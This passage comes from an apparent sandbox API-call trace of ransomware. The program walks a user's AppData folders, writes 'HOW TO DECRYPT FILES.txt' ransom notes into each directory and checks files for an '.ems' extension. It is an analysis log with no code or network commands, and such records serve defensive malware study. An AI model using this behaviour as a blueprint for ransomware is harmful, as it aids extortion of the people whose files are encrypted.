returned="*.*" [0087.963] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\", lpString2="14" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14" [0087.963] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f766d30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4f766d30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4f766d30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0087.964] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.964] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f766d30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4f766d30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4f766d30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.965] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.965] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.965] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4f766d30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4f766d30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4e2b7e00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x3fe4ab, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Built-In Building Blocks.dotx", cAlternateFileName="BUILT-~1.DOT")) returned 1 [0087.965] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0087.965] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Built-In Building Blocks.dotx") returned 1 [0087.965] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Built-In Building Blocks.dotx") returned 1 [0087.965] lstrcmpiA (lpString1="", lpString2="Built-In Building Blocks.dotx") returned -1 [0087.965] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\*.*") returned="*.*" [0087.965] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\" [0087.965] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\") returned="" [0087.965] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\HOW TO DECRYPT FILES.txt" [0087.965] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\document building blocks\\1033\\14\\how to decrypt files.txt")) returned 0xffffffff [0087.965] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\document building blocks\\1033\\14\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9c [0087.969] SetFileTime (hFile=0x9c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0087.969] CloseHandle (hObject=0x9c) returned 1 [0087.969] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\", lpString2="Built-In Building Blocks.dotx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\Built-In Building Blocks.dotx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\Built-In Building Blocks.dotx" [0087.969] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\Built-In Building Blocks.dotx", pszSpec="*.ems") returned 0 [0087.969] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4f766d30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4f766d30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4e2b7e00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x3fe4ab, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Built-In Building Blocks.dotx", cAlternateFileName="BUILT-~1.DOT")) returned 0 [0087.969] FindClose (in: hFindFile=0x5026d8 | out: hFindFile=0x5026d8) returned 1 [0087.969] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f766d30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4f766d30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4f766d30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 0 [0087.970] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0087.971] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f766d30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4f766d30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4f766d30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0087.971] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0087.971] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1c1e0470, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xd01394e0, ftLastAccessTime.dwHighDateTime=0x1d301bc, ftLastWriteTime.dwLowDateTime=0xd01394e0, ftLastWriteTime.dwHighDateTime=0x1d301bc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f0044, dwReserved1=0x750063, cFileName="Excel", cAlternateFileName="")) returned 1 [0087.971] lstrcmpA (lpString1=".", lpString2="Excel") returned -1 [0087.971] lstrcmpA (lpString1="..", lpString2="Excel") returned -1 [0087.971] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\*.*") returned="*.*" [0087.972] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\", lpString2="Excel" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel" [0087.972] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1c1e0470, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xd01394e0, ftLastAccessTime.dwHighDateTime=0x1d301bc, ftLastWriteTime.dwLowDateTime=0xd01394e0, ftLastWriteTime.dwHighDateTime=0x1d301bc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x300031, dwReserved1=0x330033, cFileName=".", cAlternateFileName="")) returned 0x502658 [0087.972] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.972] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1c1e0470, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xd01394e0, ftLastAccessTime.dwHighDateTime=0x1d301bc, ftLastWriteTime.dwLowDateTime=0xd01394e0, ftLastWriteTime.dwHighDateTime=0x1d301bc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x330000, cFileName="..", cAlternateFileName="")) returned 1 [0087.973] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.973] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.973] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd01394e0, ftCreationTime.dwHighDateTime=0x1d301bc, ftLastAccessTime.dwLowDateTime=0xd01394e0, ftLastAccessTime.dwHighDateTime=0x1d301bc, ftLastWriteTime.dwLowDateTime=0xd01394e0, ftLastWriteTime.dwHighDateTime=0x1d301bc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="XLSTART", cAlternateFileName="")) returned 1 [0087.973] lstrcmpA (lpString1=".", lpString2="XLSTART") returned -1 [0087.973] lstrcmpA (lpString1="..", lpString2="XLSTART") returned -1 [0087.973] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\*.*") returned="*.*" [0087.973] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\", lpString2="XLSTART" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART" [0087.973] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd01394e0, ftCreationTime.dwHighDateTime=0x1d301bc, ftLastAccessTime.dwLowDateTime=0xd01394e0, ftLastAccessTime.dwHighDateTime=0x1d301bc, ftLastWriteTime.dwLowDateTime=0xd01394e0, ftLastWriteTime.dwHighDateTime=0x1d301bc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0087.973] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.973] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd01394e0, ftCreationTime.dwHighDateTime=0x1d301bc, ftLastAccessTime.dwLowDateTime=0xd01394e0, ftLastAccessTime.dwHighDateTime=0x1d301bc, ftLastWriteTime.dwLowDateTime=0xd01394e0, ftLastWriteTime.dwHighDateTime=0x1d301bc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.974] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.974] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.974] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd01394e0, ftCreationTime.dwHighDateTime=0x1d301bc, ftLastAccessTime.dwLowDateTime=0xd01394e0, ftLastAccessTime.dwHighDateTime=0x1d301bc, ftLastWriteTime.dwLowDateTime=0xd01394e0, ftLastWriteTime.dwHighDateTime=0x1d301bc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0087.974] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0087.974] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd01394e0, ftCreationTime.dwHighDateTime=0x1d301bc, ftLastAccessTime.dwLowDateTime=0xd01394e0, ftLastAccessTime.dwHighDateTime=0x1d301bc, ftLastWriteTime.dwLowDateTime=0xd01394e0, ftLastWriteTime.dwHighDateTime=0x1d301bc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="XLSTART", cAlternateFileName="")) returned 0 [0087.974] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0087.974] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x780045, dwReserved1=0x650063, cFileName="IME12", cAlternateFileName="")) returned 1 [0087.974] lstrcmpA (lpString1=".", lpString2="IME12") returned -1 [0087.974] lstrcmpA (lpString1="..", lpString2="IME12") returned -1 [0087.974] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\*.*") returned="*.*" [0087.974] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\", lpString2="IME12" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IME12") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IME12" [0087.974] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IME12\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4c0058, dwReserved1=0x540053, cFileName=".", cAlternateFileName="")) returned 0x502658 [0087.975] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.975] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x540000, cFileName="..", cAlternateFileName="")) returned 1 [0087.975] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.975] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.975] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x540000, cFileName="..", cAlternateFileName="")) returned 0 [0087.976] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0087.976] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4d0049, dwReserved1=0x310045, cFileName="IMJP12", cAlternateFileName="")) returned 1 [0087.976] lstrcmpA (lpString1=".", lpString2="IMJP12") returned -1 [0087.976] lstrcmpA (lpString1="..", lpString2="IMJP12") returned -1 [0087.976] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\*.*") returned="*.*" [0087.976] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\", lpString2="IMJP12" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP12") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP12" [0087.976] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP12\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0087.977] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.977] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.977] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.977] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.977] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0087.977] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0087.977] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4d0049, dwReserved1=0x50004a, cFileName="IMJP8_1", cAlternateFileName="")) returned 1 [0087.977] lstrcmpA (lpString1=".", lpString2="IMJP8_1") returned -1 [0087.977] lstrcmpA (lpString1="..", lpString2="IMJP8_1") returned -1 [0087.977] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\*.*") returned="*.*" [0087.977] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\", lpString2="IMJP8_1" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP8_1") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP8_1" [0087.978] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP8_1\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0087.978] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.978] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.979] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.979] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.979] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0087.979] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0087.979] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4d0049, dwReserved1=0x50004a, cFileName="IMJP9_0", cAlternateFileName="")) returned 1 [0087.979] lstrcmpA (lpString1=".", lpString2="IMJP9_0") returned -1 [0087.979] lstrcmpA (lpString1="..", lpString2="IMJP9_0") returned -1 [0087.979] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\*.*") returned="*.*" [0087.979] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\", lpString2="IMJP9_0" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP9_0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP9_0" [0087.979] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP9_0\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0087.980] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.980] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.980] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.980] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.980] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, 